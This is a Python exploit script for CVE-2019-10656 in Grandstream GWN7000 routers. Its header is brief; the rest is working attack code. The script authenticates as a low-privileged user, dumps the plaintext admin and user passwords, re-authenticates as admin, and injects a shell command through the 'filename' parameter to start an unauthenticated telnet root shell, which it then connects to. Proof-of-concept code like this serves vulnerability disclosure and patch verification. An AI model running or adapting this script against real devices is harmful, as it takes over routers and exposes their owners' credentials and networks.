#!/usr/bin/env python
"""
CVE-2019-10656: Grandstream - GWN7000 (Router) Authenticated RCE
Author: Brendan Scarvell
Vulnerable versions: < 1.0.6.32

A post auth command injection vulnerability exists in the `filename` parameter of the update_nds_webroot_from_tmp call.
Additionally, a lower privileged user is also able to retrieve the plaintext password for the admin account.
"""
import sys, requests, os, json, hashlib, time
requests.packages.urllib3.disable_warnings()

s = requests.Session()

if len(sys.argv) == 1:
    print "Usage: {} <host> <port>".format(sys.argv[0])
    sys.exit()

HOST = sys.argv[1]
PORT = 443 if len(sys.argv) < 3 else sys.argv[2]

# Edit me
USERNAME = "user"
PASSWORD = "123"

payload = "';telnetd$IFS-lsh;#"

rpc_session_token = ""

def login(_username, _password):
    global rpc_session_token
    body = {"jsonrpc":"2.0","id":3,"method":"call","params":["00000000000000000000000000000000","session","login",{"username":"{}".format(_username),"password": "{}".format(_password)}]}

    r = s.post("https://{}:{}/ubus/session.login".format(HOST,PORT), json=body, verify=False)
    resp = json.loads(r.text)

    # Ensure auth was successful
    if resp['result'][0] != 0:
        print "[*] Authentication failed. Exploit failed."
        sys.exit()

    # get the token from the response
    rpc_session_token = resp['result'][1]['ubus_rpc_session']
    return True

def dumpCreds(rpc_session_token):
    cookies = {"userid": rpc_session_token}
    body = [{"jsonrpc":"2.0","id":7,"method":"call","params":["{}".format(rpc_session_token),"uci","get",{"config":"grandstream"}]}]
    r = s.post("https://{}:{}/ubus/uci.get".format(HOST,PORT), cookies=cookies, json=body, verify=False)
    return json.loads(r.text)[0]['result'][1]['values']['general']

def runCmd(payload, rpc_session_token):
    cookies = {"userid": rpc_session_token}
    body = {"jsonrpc":"2.0","id":127,"method":"call","params":["{}".format(rpc_session_token),"controller.icc","update_nds_webroot_from_tmp",{"filename":"/hihi.html{}".format(payload)}]}
    r = s.post("https://{}:{}/ubus/controller.icc.update_nds_webroot_from_tmp".format(HOST,PORT), cookies=cookies, json=body, verify=False)
    return json.loads(r.text)

# Login to the phone
login(USERNAME, PASSWORD)

creds = dumpCreds(rpc_session_token)
print "[*] Retrieved creds: \n\tadmin:{}\n\tuser:{}".format(creds['admin_password'], creds['user_password'])

# cmd injection requires admin privileges. re-auth with dumped creds if only creds for 'user' have been provided
if (USERNAME != "admin"):
    print "[*] Logging in as admin"
    login('admin', creds['admin_password'])

print "[*] running command.."
resp = runCmd(payload, rpc_session_token)
print "[*] waiting.."
time.sleep(2)
os.system("telnet {}".format(HOST))
print "[*] finished."
